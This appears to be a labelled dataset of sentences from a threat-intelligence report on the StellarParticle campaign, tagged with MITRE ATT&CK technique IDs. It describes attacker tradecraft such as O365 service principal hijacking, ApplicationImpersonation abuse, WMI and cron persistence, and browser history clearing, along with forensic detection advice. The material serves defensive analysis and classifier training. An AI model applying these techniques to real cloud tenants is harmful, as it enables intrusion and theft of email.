{"sentence": "Figure 4. RDP Bitmap Cache reconstruction showing exportation of Chrome passwords In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victim’s customer list.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After this, the threat actor navigated to the user’s Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the user’s Chrome history intact.", "labels": ["T1070.004"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These cross-tenant sign-ins were identified by looking for values in the resourceTenantId attribute that did not match the Cloud Solution Partner’s own Azure tenant ID.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike also identified a limitation within Microsoft’s Delegated Administration capabilities for Microsoft Cloud Solution Partners.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customer’s environment, Admin agent or Helpdesk agent.2", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Helpdesk agent role provides very limited access that is equivalent to a password admin role, whereas the Admin agent role provides broad access more equivalent to global administrator.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This limitation is scheduled to be resolved in 2022 via Microsoft’s scheduled feature, Granular Delegated Admin Privileges (GDAP).3 User Access Logging (UAL)", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The UAL database is available by default on Server editions of Windows starting with Server 2012.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "An overview of UAL, what information it contains and how it can be leveraged in forensic investigations can be found here.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Even though it’s only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012+ system.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer and GoldMax Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer Attempted to blend in with a file name that matched the system name it resided on Configured for WMI persistence (generally uncommon in 2019) Used likely compromised infrastructure for C2 Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence.", "labels": ["T1036.005", "T1047", "T1071.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The malware shares high-level functionality with other malware families.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer persists on a compromised host using WMI event subscriptions4 — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR.5 WMI event filter SELECT * FROM __", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "InstanceModificationEvent", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": ">= 180 AND TargetInstance.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "SystemUpTime < 480 WMI Event consumer (CommandLineTemplate) C:\\Program Files (x86)\\Common Files\\Adobe\\<FILENAME>.exe Filter to consumer binding CommandLineEventConsumer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Name=\"<GUID1>\"|__EventFilter.Name=\"<GUID2>\" Table 1.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer WMI Persistence In the obfuscated example above, TrailBlazer (<FILENAME>.exe) would be executed when the system’s uptime was between 180 and 480 seconds.", "labels": ["T1047"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "GoldMax (Linux variant) Attempted to blend in with a file name that matched the system name it resided on Configured for persistence via a crontab entry with a @reboot line Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks.", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux platform that the threat actor deployed in mid-2019.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This variant extends the backdoor’s known history and shows that the threat actor has used the malware in post-exploitation activity targeting other platforms than Windows.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Persistence was established via a crontab entry for a non-root user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot.", "labels": ["T1036.005", "T1564.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Crontab entry for GoldMax persistence Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool.", "labels": ["T1083"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims’ various domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition, the randomly named directories are typically created in a previously existing directory that’s one level off of the root of the C drive.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "To date, the names of the directories have always been formed from lowercase alphanumeric characters.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where “XX” is a previously existing directory on the system): C:\\XX\\[a-z0-9]{6} C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3} C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3}\\domain.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "FQDN C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3}\\domain-2.FQDN", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition, the Jump List for wscript.exe contained evidence of the VBScript files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Two examples are env.vbs and WinNet.vbs.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims’ internal knowledge repositories.6 Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In some instances these points of contact were subsequently targeted for further data collection.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor’s wiki access could be considered an extension of “Credential Hopping” described earlier.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike observed the threat actor accessing the wiki as users who would be considered “non-privileged” from an Active Directory perspective but had access to sensitive data specific to the victim’s products or services.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Given the threat actor’s penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike recommends the following best practices for internal information repositories: Enable detailed access logging Ensure logs are centralized and stored for at least 180 days Create detections for anomalous activity such as access from an unusual location like a server subnet Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind MFA O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy.", "labels": ["T1021.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These queries were recorded in text-based logs that existed under the path C:\\Users\\<user>\\AppData\\Local\\Microsoft\\Office365\\Powershell\\. Similar logs (for Azure AD instead of O365) can be found under the path:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "C:\\Users\\<user>\\AppData\\Local\\Microsoft\\AzureAD\\Powershell\\. While the logs didn’t include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victim’s O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server).", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The logs contained commands issued and the count of the results returned for a specific command.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The commands included enumeration queries such as: ListAccountSkus ListPartnerContracts ListServicePrincipals ListServicePrincipalCredentials ListRoles ListRoleMembers ListUsers ListDomains GetRoleMember GetPartnerInformation GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials was executed.", "labels": ["T1033"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victim’s O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application level permissions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Further, the newly added secret was set to remain valid for more than a decade.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Service Principal (now renamed to Microsoft Teams Shifts) had the following permissions at the time the configuration settings were collected: Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All User.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All User.ReadWrite.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All WebHook.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All CrowdStrike was unable to find Microsoft documentation, but based on open-source research,7 this application likely had the following permissions around the time of registration: Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All The most notable permissions above are the Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read, Files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read and Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite permissions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These permissions would allow the threat actor to use the Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By running the commands from within the victim’s environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time.8 However, as explained earlier, the threat actor managed to continue to access the victim’s cloud environment even when the victim enforced MFA for all connections regardless of source.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information was stored under the registry path.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Below is an example of the registry data: Figure 6.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Example registry entry showing target O365 email accounts The same WSMan connection string was also located in the user’s NTUSER.DAT registry hive under the path: Figure 7.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "WSMan connection string registry location While not strictly related to the O365 PowerShell activity, the Windows Event Log Microsoft-Windows-WinRM%4Operational.evtx also included information on connection attempts made to external O365 tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information was logged under Event ID 6.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Below is an example of what the event included: Figure 8.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Windows Event Log entry showing connection to O365 tenants O365 Company Service Principal Manipulation", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This Service Principal was granted company administrator privileges.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These actions were recorded in Unified Audit Logs with the following three operation names: Add service principal Add member to role Add service principal credentials.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Update Service Principal Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This was done by adding credentials to this second Service Principal, which was legitimately created by the company.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This now compromised company-created Service Principal had mail.read graph permissions consented on behalf of all users within the tenant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This action was recorded by just one operation type in Unified Audit Logs.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This operation type is named Add service principal credentials.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read permissions to then read emails of several different users in the company’s environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to use the Unified Audit Logs’ (UAL) MailItemsAccessed operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "When performing analysis on the UAL, CrowdStrike used the ClientAppId value within the MailItemsAccessed operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation9 role.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the assignment of these ApplicationImpersonation roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "As tasklist uses WMI “under the hood,” this activity was captured by Falcon as SuspiciousWmiQuery events that included the query and the source system.", "labels": ["T1047"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A sample of the information included with this event is below: Figure 9.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Event ID 10028 showing failed execution of remote tasklist This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While unproven, it’s possible the threat actor was running tasklist remotely on these systems specifically to see which of the target systems was running Google Chrome.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This is because a current or recent Chrome session to the victim’s cloud tenants would be potentially beneficial in the hijacking of sessions that the threat actor performed in order to access the victim’s cloud resources.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "FTP Scanning/Identity Knowledge", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "There was little to no activity during the (S)FTP sessions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to what’s described in the Credential Hopping section earlier.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Some of the accounts used were not in the victim’s Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victim’s environment.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
